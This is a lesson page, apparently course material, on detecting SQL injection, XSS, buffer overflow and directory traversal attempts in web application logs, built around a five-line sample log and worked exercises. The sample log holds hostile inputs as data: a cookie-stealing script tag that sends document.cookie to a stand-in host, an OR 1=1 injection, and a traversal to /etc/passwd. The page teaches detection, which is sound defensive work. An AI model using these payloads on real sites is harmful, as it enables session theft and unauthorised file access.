Detecting App-Attack IoCs in Logs

AP Cybersecurity · Securing Applications and Data

Identifying Application Attacks in Logs

Each attack leaves a literal string or a length — and both are things you can search for.

key ideaEach application attack leaves a literal string or a length in the log. Both are things you can search for.

What to look for

Application attacks are detected by reviewing application and server logs of user input. Three of the four leave characteristic characters; the fourth leaves a characteristic size — and all four are mechanical to search for.

Attack	What to review	Indicator
SQL injection	application and server logs of user input	SQL control words and symbols — quotes, `OR 1=1`, comment markers, SQL keywords
cross-site scripting	user input	suspicious tags, particularly `<script>...</script>`
buffer overflow	the amount of data sent in the request	unusual URL length, cookie length, or POST body size
directory traversal	application and server logs	HTTP GET requests including paths with sequences of `../`

Rows 1, 2 and 4 look for strings; row 3 looks for a number. That is why buffer-overflow detection needs a length baseline while the others need only a pattern.

the four signatures

SQL injection: quotes, boolean conditions such as OR 1=1, comment markers, and SQL keywords.
XSS: suspicious tags, above all <script>.
Buffer overflow: check the amount of data — URL length, cookie length, POST body size.
Directory traversal: sequences of ../ in GET requests.

Reading the evidence

SQL control words and symbolsQuote characters, boolean conditions such as OR 1=1, comment markers and SQL keywords appearing in user input.

Suspicious tagMarkup in user input that a browser would execute — above all <script>.

Request size fieldsURL length, cookie length and POST body size — where a buffer overflow attempt shows up.

Traversal sequence../ repeated in a path, walking upward out of the intended directory.

All four indicators live in user input as the application recorded it. That is the single log field worth instrumenting first — everything on this page is found by searching it.

five requests to one web applicationone benign, four not

1  GET  /product?id=14                                    200  len=31
2  GET  /product?id=14'+OR+1=1--                           200  len=44
3  POST /comment  body=<script>fetch('//x.io/'+document.cookie)</script>
4  GET  /download?file=../../../../etc/passwd              403  len=52
5  GET  /search?q=AAAAAAAA...[8192 chars]...AAAA           500  len=8231

line 1benign — establishes what a normal request to this endpoint looks likeline 2a quote and the boolean condition OR 1=1, plus a comment marker — SQL injectionline 3a <script> tag in a POST body — cross-site scriptingline 4../ repeated in a GET request path — directory traversalline 5an 8192-character parameter against a 31-character baseline — buffer overflow attempt

Worked analysis

EX 1

Classify each line

Name the attack indicated by lines 2 to 5 of the log above.

Line 2

A quote, OR 1=1 and a comment marker — SQL control words and symbols, so SQL injection.

Line 3

A <script>...</script> tag in user input — XSS.

Line 4

A GET request whose path contains ../ sequences — directory traversal.

Line 5

A parameter hundreds of times the normal length — a buffer overflow attempt.

Note the response codes

Line 4 returned 403 and line 5 500. A blocked or failed attempt is still an attempt — and worth reporting.

EX 2

Why buffer overflow needs a baseline

The other three attacks are found by searching for a string. Why is buffer overflow different?

State what the indicator is

The amount of data the user is sending — a number, not a pattern.

Note the consequence

8192 characters is only suspicious relative to what this endpoint normally receives.

Name the fields to check

URL length, cookie length, and POST body size.

State what you need first

A baseline of normal sizes per endpoint.

Contrast with the others

../ and <script> are never normal, so they need no baseline at all.

EX 3

Report it usefully

You have confirmed a directory traversal attempt in the logs. What does a useful report contain?

The indicator

The exact request — a GET containing ../ sequences in the path.

The target

Which application and which endpoint, and what the attacker was reaching for.

The outcome

The response code — whether the request was blocked or served.

The scope

How many such requests, from which sources, over what period.

The recommendation

Validate and sanitize path input — because the detection is the symptom and input validation is the fix.

Check yourself

How are SQL injection attacks detected in logs?

Show answer

By reviewing application and server logs of user input for SQL control words and symbols — single or double quote characters, boolean conditions such as OR 1=1, comment markers, and SQL keywords.

What indicates an XSS attempt?

Show answer

Suspicious tags in user input, particularly the <script>...</script> tag.

How are buffer overflows detected for web applications?

Show answer

By checking the amount of data the user is sending in their request — commonly the URL length, cookie length and POST body size.

What indicates a directory traversal attempt?

Show answer

HTTP GET requests that include paths with sequences of ../ — found by reviewing application and server logs.

Course map. Topic 5.6.e · LO 5.6.E — apply detection techniques to identify and report indicators of application attacks by analyzing log files (EK 5.6.E.1–5.6.E.4: SQL injection detected from SQL control words and symbols including quotes, boolean conditions, comment markers and keywords; XSS from suspicious tags, particularly script tags; buffer overflows from the amount of data sent, including URL length, cookie length and POST body size; directory traversal from GET requests containing sequences of ../).